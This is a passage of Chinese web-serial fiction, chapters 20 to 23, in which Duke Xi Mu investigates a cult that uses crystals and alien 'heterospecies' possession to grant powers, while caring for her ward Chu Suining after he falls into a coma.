可想而知,康妮此刻今晚的脸色有多难看,想着想着,纪岚脸上的笑容差点藏不住。
20. 第 20 章
席暮差点没有绷住表情,但她那瞬间变化的表情就足以说明她的震惊。只是不等席暮询问更多细节,就听见不远处的人群中传来一阵嘈杂的声浪。看来是主人公逃跑的事已经传开了,席暮猜。
但很快,更令人震惊的事发生了。在一片嘈杂声中,另一位主人公,温群穿着一身蓝色的西装走了出来。他身后跟着四位保镖,端着一张黑色的桌子,温群站定后,保镖将桌子往他面前一放。
四周瞬间安静下来,所有人都想看看此时的温群想要做些什么。
站在桌子前,温群面无表情,眼眶泛红,可想是已经哭过一场。“感谢诸位今日前来参礼,但实在抱歉原定计划无法完成了,为了不让各位空跑一场,我为大家准备了一场拍卖会。”
有意思起来了,席暮双手环胸,将楚岁宁往身后撇了撇,虽然还不知道这温群的目的是什么,但康妮她绝不会任由他如此胡来。远处看看就行了,别凑近了还被误伤。
“和康瑟认识这半年,她也送了我不少礼物。现在没有用了,诸位如果有兴趣不妨买回家图一乐。”温群向后一招手,保镖便端着一件件物品走了出来,将其一一放在了桌子上。
这位不会是一得到康瑟逃婚之后就开始准备这件事了吧?席暮叹为观止,没想到啊,这个温群也不是个好拿捏的。席暮有些欣赏这样的性格,但也不禁为他之后的遭遇感叹。
可以看得出来温群并没有什么赚钱的想法,所以报出的价格全凭心情,有些贵重的物品他甚至看都不看就报出了一星际币的价格。人们一开始还不吭声,无人应和。但爱看乐子的人向来不缺,很快就有了第一个举手报价的人。很快,人群就沸腾了起来。
黑桌上的物品以肉眼可见的速度减少,温群却没有任何高兴的表情。
“也是个可怜人。”如果说一开始抱着看热闹的心思来的,那现在的感慨就多了几分真心实意,纪岚摇着头,“一场联姻,偏偏动了最珍贵的真心。”
楚岁宁就是在此时抬的头,他不解地看了眼纪岚,眼中满是困惑,真心?是在说那个穿着蓝色衣服的人吗?扯了下公爵的袖子,在公爵侧过来看他时,楚岁宁小声询问,“她的意思是,他爱那个跑掉的人吗?”
说话时,楚岁宁指了下人群中央的温群。
虽然席暮对此也不了解,但纪岚确实是这个意思,于是她点头,然后她就听见楚岁宁更小声地道,“可是,他现在很高兴啊。”
下意识扭头看向温群,席暮没有从那张脸上看到任何高兴的蛛丝马迹,但平安不是会说谎的人,更没说谎的必要,席暮在这一刻才真正对这件事产生了些兴趣。如果真如平安所说,那么康瑟的逃婚是她自己的想法,还是另有缘由?
此时,康家人总算姗姗来迟,温群被很快带走,人群被疏散开。
“今晚的闹剧让二位看笑话了。”康妮走到席暮及纪岚身边,带着自嘲的笑,她脸上有着明显的疲态,今晚发生的事对她来说过于突然,令人心力交瘁,“本来还想祝你一句新婚快乐,但现在,呵……”
“找到人了吗?”纪岚早已收起看热闹的表情,正经了起来,“今晚的舆论恐怕很难控制。”
这她如何不知道,但她能怎么办?人到现在没找到一点踪迹,那个温群更是为这场闹剧添了把火,康妮揉了揉额头,但这些烦扰是无论如何不能在她们面前表现出来的。
同为公爵,康妮无论是资历还是实权都远超席暮,她一向都是压着席暮一头的。本来席暮逃婚一事闹得沸沸扬扬时她还狠狠嘲笑了一波,更没少推波助澜,谁曾想,这种事居然也会轮到她身上。
“总之,今晚怠慢二位了,之后再向二位赔礼。但现在还请二位先离开。”康妮本就是来下逐客令的。
席暮无所谓地转身就准备离开,纪岚倒是很可惜,但继续留下来也是没什么热闹可看了,也就跟着离开了。出了庄园,纪岚先走一步,席暮被楚岁宁拉住了。
“怎么了平安?”
因为从公爵身上闻到了较为兴奋的味道,所以楚岁宁才会拉住她,“公爵,你对刚才的事很感兴趣吗?”
席暮认真想了想,有点兴趣但不算很多,除非事情正好撞到了她头上,不然她不会特别关注,不过平安为什么会这么问,难道他发现了什么?“有点兴趣,怎么,平安你发现了什么?”
“那个穿蓝色衣服的人就在附近,公爵想去看看吗?”而且好像很激动的样子。
自动将楚岁宁的描述转化成了温群这个人,席暮挑眉。哦?不是刚才被带走了吗?好像有点意思,勾起笑,席暮手搭在楚岁宁肩膀上,微微用力推了下,“在哪?带我去看看。”
席暮没问楚岁宁是怎么知道的,反正无非就是异能。
围着庄园绕了半圈,她们在旁边看见了座小房子,看上去像是换班的值守准备的。调动精神力将两人罩住,这是席暮知道的最为简单粗暴的遮掩气息的办法,只要里面的人精神力不高于她就不会被发现。但反正是为了乐子,也不在乎被不被发现。
循着有风流动的地方找了个阴影处,席暮就那么靠在墙上偷听了起来,声音虽然有些模糊,但也能听到大致内容。
“你已经得到你想要的了,我的东西呢!”是一道女声,听上去很生气。
“呵,如此心急,他不过是一个可有可无的小情人罢了,难道?”是温群的声音,不同于刚才在人前的语气,此刻的他听上去咄咄逼人,“难道,真的爱上了?”
“闭嘴!”女声狠狠呵斥了一句,席暮微微摇头,还是太激动了,什么都掩饰不住嘛。到了此刻,席暮也基本猜到了这个女声的身份,这还真是有意思。
“康瑟啊康瑟,你还真是,色厉内荏。算了,跟你说这些也没什么意思,你想见的人就在你们的爱巢等着你呢。”温群感到有些无趣,也不欲和康瑟多说些什么,“总之,保佑你有个好结局吧。”
“你到底想干什么?你究竟想从我家得到什么?”康瑟知道她已经犯了错,但如果她能找出这个温群的真正目的,并阻止他,那么说不定母
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亲还能饶她一回。
哇,天真。温群和墙外的席暮同时感叹了一句,敲了敲旁边楚岁宁的脑袋,席暮小声警告,“看见了没,这就是典型的傻子,你可不能学她。”
捂着脑袋,楚岁宁连忙点头,都觉得他不聪明了还敲他脑袋!
“你站住!”康瑟的声音突然拔高,随后就是一阵动手的声音,显然,没能得到信息的康瑟想要强留下温群,但更明显的是,她根本不是温群的对手。
在一声痛呼后,温群冷厉的声音响起,“你应该庆幸我有契约精神,不然,你就等着给你的小情人收尸吧!”
这之后,声音消失,康瑟夺门而出,想必是急着去查看小情人的情况去了。
本以为今晚的好戏就到此为止了,席暮都准备走了,哪曾想这屋内还有第三个人。沙哑的嗓音突然响起,“呵呵,真是个天真的孩子。”
“闭嘴,收起你恶心的语气。”温群皱着眉,声音里有着明显的厌恶,显然他们虽然是一伙,但关系并不好。
“哈哈。”那人并不理会温群的厌恶,仍然是那副缓缓的语调,“年轻人别那么心浮气躁。东西拿到了?”
不知道温群拿了什么给那人,那人的语速竟然都加快了,透着清晰的愉悦,“就是这个!就是这个!这次的任务你完成的很出色,等回去了教主定会重重赏你。”
“嘁。”那人只得到了温群的一声冷哼。“喂老头,这东西到底干什么用的。”
“既然你成功完成了任务,得到了认可。那么告诉你也无妨。”沙哑的声音道,“这可是那位救世主大人遗留在世上的唯一遗物,据说那位大人就是凭借此物才带领了众人完成了壮举!”
疑惑爬上席暮的面庞,捏着下巴想了许久席暮也没想起来她留了什么东西,还是这么牛逼的东西。是,她当年确实有外挂,但那外挂是游戏系统啊,怎么的,这玩意变成实物掉进游戏里了?
想都知道肯定是什么人传人之后的魔改内容,席暮无语,居然真的有人当真,而且一副煞有其事的样子。
“……你认真的?”显然,温群不是个傻子,沉默片刻后,席暮听到了温群的反问。
“呵呵呵,就知道你不会信。”沙哑的声音笑了起来,那声音就像是在拉锯齿,难听得很,“也罢,不如你试一试?”
一室寂静,席暮疑惑侧耳,眼角余光却看见楚岁宁猛地捂住了耳朵,表情痛苦扭曲,他无声倒向地面,被席暮一把拉住,而随着席暮的手触碰到他,楚岁宁的表情瞬间就舒缓了不少。
“啊啊啊啊!”没等席暮弄明白发生了什么,屋内就传来了压抑的哀嚎,但很快,温群的声音就变得兴奋了起来,“这、这是什么?”
“呵呵,是异能啊孩子。”
“居、居然!”温群呆愣地看着自己的双手,他真的拥有异能了!不是假象,不是骗子!他,感受到精神力团正在成型!!!“是真的……是真的!”
!!!那语气里的惊喜难以掩饰,席暮猛地抬头,难以置信极了。
21. 第 21 章
下一刻,窗户大开,席暮脚踏着风身姿轻盈,几乎是瞬间就逼近了房间内密谈的两人。两人在此之前完全没察觉到屋内还有第三人,错愕之下甚至来不及反应就被席暮逼近了身侧。
但很快,沙哑声音的主人就意识到了来者的目的,他手上的东西瞬间就消失在了三人眼前。
但就是这么一瞬间,席暮看清楚了那东西的真容,那是一块几近透明却又红得鲜艳的水晶,水晶正中央有一团紫色的星云转动,如梦似幻,一眼就能吸引人的目光。
很熟悉的东西,似乎确实跟她有关,但……席暮一个翻身避开了射来的风箭,目光转到了温群身上,刚刚才获得异能的人现在就能立刻施展异能进行攻击,实在令人惊讶。但也就仅仅如此了,稳住身形,席暮一个挥手就将他吹倒在地,而后,向前突进。
如果席暮没猜错,那个老者的异能应该偏向空间方面,只要能抓住他,就能拿到那块水晶研究一二。莫名地,席暮对那块水晶很在意。
老者自知他不是对手,在温群动手的同时毫不犹豫就捏碎了组织给的传送晶石,在席暮抓住他的前一秒,他的身影就如同被擦除了一般消失在了空气中。
抓了个空,席暮一道风刃劈在了墙上留下一道痕,而后,冷酷的视线落在了企图逃跑的温群身上。温群甚至没看到席暮是怎么行动的,他的脖子就被送到了席暮手中。
脖颈被扼住,温群下意识挣扎,但逐渐稀薄的空气让他的力气渐渐微弱,下一秒扼住他的手一松,温群重重摔在了地上,但他却顾不上疼痛,大口喘息起来,“!!!”
“现在愿意和我说点实话了吗?”整理着微乱的披肩,也没忘散乱的发丝理顺,就仿佛刚才发生的一切不过只是伸手拍了个苍蝇,“刚才跟你交谈的是谁?来自哪里?”
因为知道温群不会有更多关于那块水晶的情报,席暮连提都没提,“还有,作为温家的人,你又是怎么接触到这些人的?”
温群捂着胸口,“公爵的问题真多啊。”
温群的态度让席暮心里一跳,如此地步了竟然还这么冷静,不对啊。察觉到异常,席暮从空间钮中掏出绳子将温群控制住,被捆成了粽子的温群飘在空中,可以说基本断绝了逃跑的可能,风这个异能还真是好用,席暮不由感叹。
“公爵还真是谨慎。”温群叹了口气,看上去已经认命,将自己所知的一切娓娓道来,“我是罕见的精神力达标却未能觉醒异能之人,我这样的人跟残废没什么区别。为了觉醒异能,我被送去了特训,公爵想必也知道那地方。”
席暮点了点头,确实有这种特训,如果她没记错的话这种特训还是由官方牵头,军中甚至都参与其中,针对的就是那些精神力足够却未能觉醒异能的对象。对于这些人,有时候一些偶然的机会或者强烈的刺激,都有可能促使他们觉醒异能,能有这样赌一赌的机会,很少有人愿意放弃。
不过,据席暮看过得资料,这种特训非常非常严苛,非常辛苦。
“你是在那里认识的那些人?”
“是。”温群陷入了回忆之中,“看着身边的人一个个都开始觉醒,我却迟迟无法拥有异能,明明我是她们当中精神力最强的!我不甘心!”
最后几个字温群几乎是咬着牙说出的,“直到有一天,有一位同学接近了我,告诉我他能让我觉醒异能。那时课程几近尾声,我…总之,我相信了他。再之后的事公爵想必就能猜出来了。至于其他的,我就不知道了。”
那线索只剩下特训了,只是,经过今晚这一遭,那里还剩下多少线索呢?席暮扶着下巴,忽然,她耳朵一动,她听到了警铃声,“啊,我替你叫的警察快递到了,你记得签收。”
将人丢下,席暮又从窗户翻了出去,“平安,走了。”
在翻窗之前,席暮让楚岁宁在这里等她来着,但席暮并未等到楚岁宁的回应。席暮立即看向刚才两人在的位置,视线向下,楚岁宁闭着眼躺在地上,一动不动。
“平安!”席暮一惊,一把将人抱起,就见楚岁宁呼吸微弱,绝不是在睡觉。该死!席暮皱着眉,迅速奔向飞行器,她刚才太过心切完全没注意到平安的异常状态,竟然直接把他一个人丢在了外面,平安你可千万要平安。
“医生,他怎么了?”
“这位先生似乎是精神收到了什么冲击,您也知道即使医学再如何进步,涉及到大脑方面都很难给出具体诊断。不过根据检查,这位先生生命体征稳定,并未生命危险,建议住院观察几天。”见席暮愁眉不展,医生安慰了几句,“家属也别太过担心,或许这位先生明天就醒来了。”
“谢谢医生。”
让向慧准备了换洗衣物,席暮便在医院内住下了。一连三天,楚岁宁都没有任何一点醒来的迹象,饶是席暮都有些焦急,各种检查都做了,查不出一点问题,但人就是醒不过来。
“或许,公爵您可以尝试请一位拥有治疗异能的大人来看看情况。”医生也束手无策,只能如此建议。
话虽如此说,但治疗异能何其罕见,席暮想了一圈唯一能想到的人只有一个,但那个人在哪席暮也不知道。
“席暮公爵。”正烦扰时,九黎走进了病房,身后还跟着一位神情怯怯的少女,少女紧紧揪着九黎的衣服,小心探头看向席暮,又在对上席暮视线时猛地收回视线。
“这位是?”
九黎拍了拍少女的肩膀,将人拉到了前面,“这位是小妹,九妍。陛下依据公爵您提供的条件,的确揪出了一些蛛丝马迹,又听闻爵夫陷入昏迷,于是派九妍来为爵夫治疗。”
在听温群提到特训时,席暮就意识到这绝对和宿初夏想要查的东西息息相关,于是直接把相关线索甩给了她。不过,短短三天,还是在已经打草惊蛇了情
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况下,居然还能找到线索吗?席暮越发觉得,让宿初夏来查这件事是个正确的决定。
“那就多谢陛下了。”席暮让开位置,好让九妍上前。
九妍双手紧握着,特意选了最远离席暮的方向绕了好大一圈,等到了床边,只见九妍深吸了口气,双手置于楚岁宁脑袋上方,闭上了眼睛。
“唔!”猛地收回手,九妍脸上血色尽褪,整个人下意识向后踉跄了几步,再睁开眼时,那双青色的眼睛里被痛苦填满,九黎脸色顿变,赶忙上前扶住了妹妹。
“还好吗?”
九妍摇了摇头,咬着唇看向席暮,声音小小的怯怯的,“可以请公爵走过来一些吗?”
席暮就走近了些,没一会,九妍又让她再近些,然后,甚至让她握住了楚岁宁的手,虽然疑惑,但席暮还是一一照做了。
“情况很严重吗?”就这么一会功夫,九妍的脸色就肉眼可见更差了,感觉下一秒就要升仙了,席暮生怕下一秒躺那的就是她了,到时候九黎不会爆炸吧?
九妍靠着九黎,平复着呼吸,“我没有办法治疗这位爵夫。但如果想要他赶快醒来,还请公爵多多触碰他。”
不给席暮询问的机会,早已按耐不住的九黎扶着九妍就离开了,脚步匆匆。
只剩下席暮还握着楚岁宁的手,沉默无言。但很快,席暮想到了楚岁宁之前说的,靠近她会屏蔽掉一些声音,或许就是跟这个有关?想到这里,席暮有了主意。迅速给楚岁宁办理了出院手续,席暮带着人回了家里。
在家里,席暮终于不用忍耐,直接放出了触手,任由触手紧紧锢住人跟在她身后,这样不仅解放了她的双手,也算完成了医生的嘱托,一举两得。
这场面着实诡异,席暮走在前面,她身后是数根黑色的触手,触手中横躺着一个人,两者随着席暮一起走动,要是有人路过看到这一幕,怕不是当场就得被吓晕过去。
事实证明,触手作为席暮的一部分,这样的接触是可行的。在第三天,楚岁宁就苏醒了。
“终于醒了平安。”在楚岁宁刚睁眼的时候,席暮就有了感觉,她控制触手将人放回了床上,弯腰查看情况,正对上了楚岁宁睁开的眼睛,他的眼神尚且迷茫,还带着懵懂。
他愣愣注视着席暮,偏着脑袋,观察着席暮的一举一动。席暮只当他刚醒来还不清楚现状,“你还记得吗?你之前不知为何晕了过去,现在已经是五天后了。”
楚岁宁仍然不发一言,只有视线紧紧追随着席暮,表情,表情看上去有些……依赖,带着孺慕之情。
好像有些不对啊,席暮皱起眉,伸手想要拍一拍楚岁宁,好让他清醒一些,没想到手刚伸过去,楚岁宁脑袋一歪,脸颊就贴了上去。
“妈妈。”字正腔圆,如雷贯耳!
直接将席暮劈了个外焦里嫩,瞠目结舌,久久难以反应过来。
22. 第 22 章
“你喊我什么?”不怪她反应不过来,实在是长这么大也没被人这么喊过,就算是之前养的那几个也都是恭恭敬敬喊她一句大人,而且,虽然她是在把楚岁宁当孩子养,可人毕竟这么大……席暮大脑一团浆糊,各种乱七八糟的想法都毛了出来。
至于什么他的脸还在自己手中,席暮已经完全感觉不到了,手就那样伸着也忘了收回。
“不对吗?确实。”楚岁宁似乎终于清醒了一点,开口反驳了自己刚才的称呼,席暮松了口气,看来人没傻,但下一刻,席暮是真的绷不住表情,甚至连眼睛都闭上了。
“主人!”楚岁宁的表情甚是兴奋,对自己找到正确答案非常高兴。
席暮收回手搓着双臂,刚才那个称呼一喊出来她甚至打了个寒颤,过于惊人了。这不对,这一点都不对,还是得让医生来检查一下……于是,席暮假装自己根本没听见刚才的称呼,几乎是飘着离开了房间。
让向慧约了个极为有名的专家,但是检查结果就是没有问题,医生推了推自己的眼镜,结合多年经验,“可能是爵夫昏睡多日,再加上精神受创,导致的记忆错乱。或许不需几日就可以恢复。”
席暮只希望医生说的是对的,楚岁宁如今这情况很快便能恢复。她本来还想询问那晚究竟是什么导致的他昏迷,直觉告诉席暮,是那块红色水晶。
但无论真相如何,现在最当务之急的是纠正楚岁宁的奇怪称呼!
“我不是你妈妈,也不是你,‘主人’!你叫我公爵就可以了。”向一个傻子解释他们之间的契约实在太过困难,席暮干脆忽略一切,只说他们是朋友,“记住了吗你?”
但楚岁宁人看似傻了,实际上却一点不傻,他亮出光脑,指着他当初与席暮签订的契约,盯着席暮,“可是,这上面说现在是你在养我,如果你不是我妈妈,也不是主人,那为什么我们会有这个契约?”
这是怎么找到的!席暮咬着牙恨不得把那光脑摔了,事已至此,席暮只能把当初的起始解释了一遍,口干舌燥,席暮一脸期待看向楚岁宁。
“……”楚岁宁眨巴着眼,消化了会,“我明白了!”
真的吗?席暮保持怀疑态度。
“你虽然是我妈妈,但我不能叫你妈妈,得叫你公爵,是不是!”虽然不知道为什么楚岁宁会如此执着,但,这样说似乎也没错,席暮迟疑着点了头。
“那公爵,我可以牵着你吗?牵着你很舒服。”或许是认定了母子这个关系,楚岁宁的态度明显比之前亲近很多,此时在和席暮说话时,语气竟带着些撒娇意味。
但他的认知和席暮无关,席暮毫不犹豫拒绝了这个请求,并告诉他只许跟在她身后一定距离,肢体接触只能是轻微的触碰,比如之前说的指尖相碰,楚岁宁明显不解,但在席暮强硬的态度下,也只好答应。
这边的问题暂且不说,宿初夏那边早已摩拳擦掌。有了这次席暮提供的意料之外的情报,宿初夏以雷霆速度将所谓特训营从上到下查了个遍,尽管主要成员早已撤离,但留下来的那些小角色她也有办法榨取一些情报。
但今天,宿初夏的脸色十分难看,她冷冷注视着跪在下面的下属,“你是说,都死了?”
“是。”魏煌低着头,恨不得把头埋进地里,陛下信任他将一切疑犯交给她看顾,可她却让人在她的眼皮子底下将这些人全部杀害,哦不,还有一个,魏煌猛地抬起头,“陛下,温群还活着!”
因为他是由公爵亲手抓获的特殊疑犯,温群被单独关押在特殊监牢里,除了她和陛下之外,无人有权靠近。正因此,温群尚未遭到毒手。
“人呢?”
“不敢擅动,任关押在原位置。”
宿初夏走下王座,“叫上席暮,我亲自去看看情况。”
“是!”
安排好楚岁宁,席暮迅速赶往监狱。具体情况她已经大致了解,但她不相信温群没死仅仅是因为他被单独关押,她更倾向于温群这个人有些特殊,如此想着,席暮又让飞行器的速度加了一档,几乎是贴着被罚的线开的。
“陛下。”一路畅通,席暮迅速抵达了目的地。那间单独的牢房,环境可以称得上不错,温群倚坐在床上,抬头看着这几位身份尊贵的大人物,没有分毫起身的意思。
被这番姿态激怒的魏煌一把将人拉起,向着墙壁就是一甩,身体撞击墙壁发出了沉闷的响声。温群捂着脑袋,仍不说话,视线在几人间来回扫视。
宿初夏皱着眉向后退了几步,九黎护在她身前。很显然,温群的异常已经肉眼可见,但大家之所以都还站在原地不曾动弹,不过是对自己有信心。
意识到自己可能被当作了将陛下引来的筏子,魏煌眉眼间越发阴郁,她将众人拦在身后,竖起透明的盾牌。
“你就是温群?”宿初夏是见过温群的,但面前这人给她的感觉却格外怪异,很快,宿初夏有了判断,“你不是温群!”
“嘻~”一声诡异的轻笑后,温群嘴角咧开,一双漆黑的眼眸盯着宿初夏,恶意喷薄而出,“真是美味的气息~”
这个声音,席暮耳朵微动,和那晚屋内的老者沙哑声音几位相似,无非就是更年轻了些,难道?席暮霍然抬头,没有任何预兆直接出手,狭小的牢房内,风越发狂暴,将一切都欲撕毁。头发、衣服随风剧烈晃动起来,但所有人的身体都是稳稳站在原地——包括温群!
“知道你的‘风’厉害,又怎么会不做准备呢。”
果然就是他!有着空间能力却不打算逃走?席暮抿起唇,暗自蓄力准备离开。
“‘主’向大家问好!”举起双手,脸向着虚空身体却向几人鞠了个九十度的躬,温群神色狂热,带着一股迫切的、喜悦的期待,温群的身体突然还是坍塌,如同被晒化了的橡皮泥,逐渐开始变成一滩,“愿诸位在‘主’的天国内再会,‘主’将庇佑一切,包括你们这些罪人!”
是光。
眼前一片白茫,仿佛世界都寂静了下来,一只瓷白的手从虚空中深处,对着
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空气轻轻一捏,那片白茫就被撕碎,像撕碎了一张白纸,于是被纸遮住的一切就露了出来。九黎、魏煌、然后就是宿初夏。
右手举起,可以看见这只手的衣袖上破了个口子,瓷白色逐渐褪去恢复成正常的肤色,宿初夏看了眼那破损的地方,有些嫌弃撇开眼。
而在众人身前,温群原来所在的位置,只剩下一滩黑泥。
身体内的触手蠢蠢欲动,有点渴望但又很嫌弃,不过也不需要触手的反应。席暮认出来了这滩东西是什么,是异种,更具体一点,是异种进化后的遗留物,是废渣。
“异种。”宿初夏冷冷吐出了答案,一个异种在她的眼前完成了进化,生命得到了蜕变,这对宿初夏来说是莫大的侮辱。“魏煌。”
“陛下!”单膝跪下,魏煌右手握拳抵在额头,“听凭吩咐。”
“给我查。”
“是!”
语气虽然没有波澜,但在场的人都能感觉到她平静表面下汹涌的怒火。这首都星又会掀起一场腥风血雨了,但愿这些怒火都只会发泄在那些异种上,不要牵连无辜。九黎心中暗道,只是,九黎扫了眼一旁平静的席暮,刚才似乎在她身上感知到了一些属于异种的气息。
一甩衣袖,宿初夏大步离开了这间被一扫而空的牢房。
席暮察觉到在经过自己时,那个九黎似乎有话想说,只是不知为什么没有开口。席暮挑了挑眉,跟着她们慢悠悠向外走。
“啊,‘主’的眷属,可否向我明示‘主’的吩咐?”耳畔突然响起了呓语,熟悉的语调熟悉的声音。
“滚远点。”席暮脚步没有半分停顿迟疑,权当耳边这个声音在放屁。
今日的事看似已经结束,实际却是一切的开始。但至少目前和席暮的关系是,让席暮不是很高兴。
“公爵!”
伸手抵住凑过来的楚岁宁,席暮单手脱掉外套,还顺手给了人一个脑瓜崩。
记忆错乱之后就更傻了,跑过来时候跟条傻狗似的,比之前热情了不知道多少,是真把她当妈了?
“公爵,你今天不高兴吗?”楚岁宁跟在席暮身后,向四周看了看,“而且,你身边跟了个东西诶。”
这下可以确定楚岁宁的异能绝对不止和植物有关这么简单了。
“想继续跟着就闭上嘴巴好吗?”虽然现在的楚岁宁很奇怪,但席暮不讨厌这样,反而真有种喜当妈的感觉。
拍了拍楚岁宁的肩膀,给了他一个眼神,后者瞬间了然。
“原来是圣子,想必您一定是‘主’的计划中重要的一环。”那声音又开始絮叨起来,“那一定是我破坏了您的筹谋,我罪该万死!”
“还请让我弥补!”
“叽里呱啦说个不停,吵死了都。”
随着走动,触手慢慢显露了身影,在她身后晃动。因为逆着光,所以很轻易看见触手上还串着一片虚影。
而随着触手的摆弄,虚影逐渐变成了人型,俨然就是刚才化掉的温群。
23. 第 23 章
在那间牢房,第一个作出反应的是席暮,但她体内的触手甚至比她更早发现温群体内隐藏的异种。
于是,在一片混乱中,触手们成为了MVP。
不同于异能,异能的特殊能力生来就有,至于能力分类什么的,人类至今未能解析。但可以知道一点,能力为异种带来了绝对的阶级,强者为尊。
虽然触手是异种的显著特征,但并不是所有触手都是一样的。
从席暮体内诞生的触手是席暮未曾见过的品种,能力更是。这些黑色带着银色花纹的触手,拥有偷窃的能力,无视空间甚至不拘于物体。
不过或许是和席暮进行了绑定,现在触手的能力限制于席暮的精神力。
就在刚刚,久违遇见同类的触手难掩兴奋,想要好好叙旧一番,便从逃跑的异种身上‘偷’了一部分存在。
但很显然,因为触手的存在,温群误会了什么。
找了个位子坐下,示意好奇的楚岁宁往自己身后挪挪位置,然后才分了些注意力给温群。
“你是温群?”
“温群是我。”他强调着,“就和您一样,夺取了一个人类躯壳好完成任务。”
闻所未闻,从来没有听说过异种可以做到这种事。
换了个坐姿,席暮下意识打开光脑开始记录一切,“你的任务进行到哪里了?”
“任务已圆满完成!种子已经种下,待到时机成熟便能结果。正因此,我才能得到‘主’的恩赐,完成进化!”
异种的进化席暮知道。就如同人类从婴儿到年迈的过程,异种的生命中有三个重要节点,孵化,分化,进化。
其中进化最为重要,进化成功,异种步入成熟期,进化失败,异种则会退回孵化阶段,再此来过。
但‘主’是谁?席暮用大红色写下这个字,据她所知以及当年游戏设定,异种只分族群,以及通过能力判断地位。从不存在什么首领,王,更别说什么所谓的‘主’了。
难道是她退游之后新增的游戏设定?
种子又是什么?
触手从温群身上偷来的只有一段意识,并不是实体,甚至和本体意识互通。因此席暮才打算通过假扮所谓什么圣子身份来套取情报。
但谁能想到,除了激奋的情绪,就只剩下谜语。
“种子的人选呢?是否准确?”敲着光脑,席暮念头转动,如果那天晚上被她抓到的温群还没被替代的话,那么他透露的特训营就是一个关键地点。
“那些特训营里的人也不是都有价值。”最终,席暮还是决定浅浅试探一下。
“这是自然,‘主’早已安排好了一切。您果然有着和主一样的智慧!”他甚至还会拍马屁……和真人几乎没差别了。
“啊,我将消散,若您之后有吩咐,可随时通过这种方式召唤我前来。温群随时为‘主’奉献!”
话音刚落,这道虚影就渐渐散去了。
……
楚岁宁熟练捞起一根触手,这些触手也格外亲近他,任由他揉捏。
“公爵?”举起被自己团成团的触手,楚岁宁将席暮从沉思中拉回了现实,“刚才那个人说的事很令人困扰吗?”
不是令人困扰,而是麻烦大了。席暮忍住了哀叹的想法,如果她没猜错,那首都星内已经不知道有多少人被异种寄生了。
有那么一瞬间,席暮以为自己回到了对抗异种的艰难岁月,不仅要小心它们强大的能力,还要头疼它们极强的适应力。
但凡今天摆在她面前的跟异种没有半点关系,席暮绝不会掺和更多给自己找麻烦,但现在麻烦已经找上了门,席暮不可能再无动于衷。
“平安,你,”还记得楚家就是为了研究什么对付异种的植物离开的,席暮本想问问楚岁宁最近是否有什么消息,但刚张口就想到了楚岁宁如今的状态,就又把话咽了回去。
但通过这件事,席暮想到了另一件事,“平安,那些月盈草培育的如何了?”
专注于眼前的触手,楚岁宁头都没抬,“即将成熟。”
“具体时间呢?”
“嗯,大概一周之后就会完全成熟。”
“可,你已经超过一星期没有去过培育基地了吧?”她可记得楚岁宁说过没过一星期就需要去检查一次月盈草的情况,身体微微前倾,席暮的话带出了危险的气氛。
楚岁宁疑惑抬头,“但我才刚刚去过。”
席暮咳了声,坐直了身体,“原来是这样。”
“啊,公爵,我想起来了。”被席暮这么一提醒,楚岁宁终于想起了被他遗忘的一件事,他站起身迅速从自己房内取了件物品。
“这个给你。”
席暮的目光倏地凝固,在楚岁宁掌中的赫然是一颗透明的水晶,而其正中央,紫色星云旋转着。
除去水晶颜色,这东西和当初所谓的救世主遗产一模一样。
一把捏住手臂,席暮捏起那颗水晶,眼睛却不离楚岁宁的脸,“这是从哪来的?”
“我醒来的时候突然出现在我枕边的,我以为是公爵你落下的。”
捏着那颗水晶,席暮调动了精神海内火红色的星云,随着精神力的注入,透明的水晶逐渐被染上颜色。
最终,这颗水晶和之前席暮看见的那颗再无差异。
像是一个完美的容器,在注入精神力时席暮没有感觉到任何阻力,顺畅得异常。
“好漂亮啊。”楚岁宁眼神晶亮,不由发出感叹,随后他抬起眼,看向席暮时眼中带上了崇拜,“你好厉害啊公爵。”
“……”翻涌的思绪被这突然的一句夸赞打断,席暮一愣,收回了楚岁宁怀里的触手,“你身上的疑点还没解释清楚,别指望着就这么洗清嫌疑。”
“我吗?”楚岁宁看起来很是不解,“我还有事情瞒着公爵吗?”
“可是作为公爵的孩子,我不应该有事情隐瞒的。”楚岁宁打开光脑,像是在找笔记,“你看公爵,我之前都有做过笔记的。所以,我应该都告诉了公爵吧?”
非常好,其实席暮很吃这一套,但席暮抛了拋手中的水晶,强迫自己保持冷酷,“但这个可没有解释。”
楚岁宁立刻指向席暮身后的触手,“我觉得公爵可以问它。”
触手瞬间僵直,以迅雷不及掩耳的速度缩回了席暮身体里。
“公爵
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,它心虚!”楚岁宁立刻道。
“……”这是席暮没想到的。
但无论席暮再怎么拷问,触手它们也都是迷迷糊糊,不是很清楚。只能确定一件事,这个水晶的出现对席暮来说是好事。
“公爵,这个可以送给我吗?”这应该是楚岁宁第一次向席暮索要一件东西,席暮稍加思考后,将水晶丢给了他。
“谢谢公爵!”
水晶本来就是楚岁宁递给她的,所以两个人都没想到,当这颗水晶再回到楚岁宁手中时,会发生异变。
刚刚被席暮注入的火红色的精神力,突然如游鱼一般离开了水晶,在楚岁宁的手腕处烧灼出了一个红色印记。
“这是什么?”
印记火辣辣的疼,楚岁宁下意识松手,水晶掉落变成了粉末。
对于席暮,在这个印记出现的第一时间,席暮就通过精神力感知到了,但除了能感知之外,好像也没有更多了。
“你怎么样?”
感觉不到了……楚岁宁突然伸手握住了席暮的手臂,瞪大了双眼,他感觉不到了!
那些从四面八方涌来的情绪,不见了!楚岁宁从来没有感受过如此安静的世界。
和之前在公爵身边的感受不同,在公爵身边像是加了过滤层,而此刻,更像是进入了隔离房。
“平安?”席暮没有推开楚岁宁的手,不知道为什么,她总觉得平安此时很激动?错觉吗?
“我很好!”楚岁宁嘴角勾起,喜悦逐渐溢出,“真的公爵,从来没有这么好过!”
不是错觉,她真的切实‘听’到了楚岁宁身上的兴奋与喜悦。
侧头动了动耳朵,愉悦的情绪是清脆悦耳的叮咚声,这声音甚至让席暮都放松起来了。
是因为这个印记吗?
席暮做了测试,这个印记似乎不受距离影响,就算她离楚岁宁远远的,但她耳边听到的还是楚岁宁情绪的声音。
没有人知道是为什么,席暮就连去哪里寻找答案都不知道。
不过楚岁宁似乎不觉得这一切有什么问题,在席暮这几天听到了情绪里,他每一天都很快乐。
“公爵,你今天心情怎么样?”
这几天席暮都在为进入军队做准备,走后门的坏处初步体现,各种繁琐的证明都要求她亲自处理,所以席暮这几天心情非常不爽。
又一个傍晚,第一个迎接席暮的还是楚岁宁欢快的声音,他跑过来递给席暮她最喜欢的甜品,“甜品会不会让你高兴一点?”
“你怎么今天还是这么高兴?”在自己不爽的时候还整天都能听到代表某人高兴的叮咚声,更不爽了好不好!
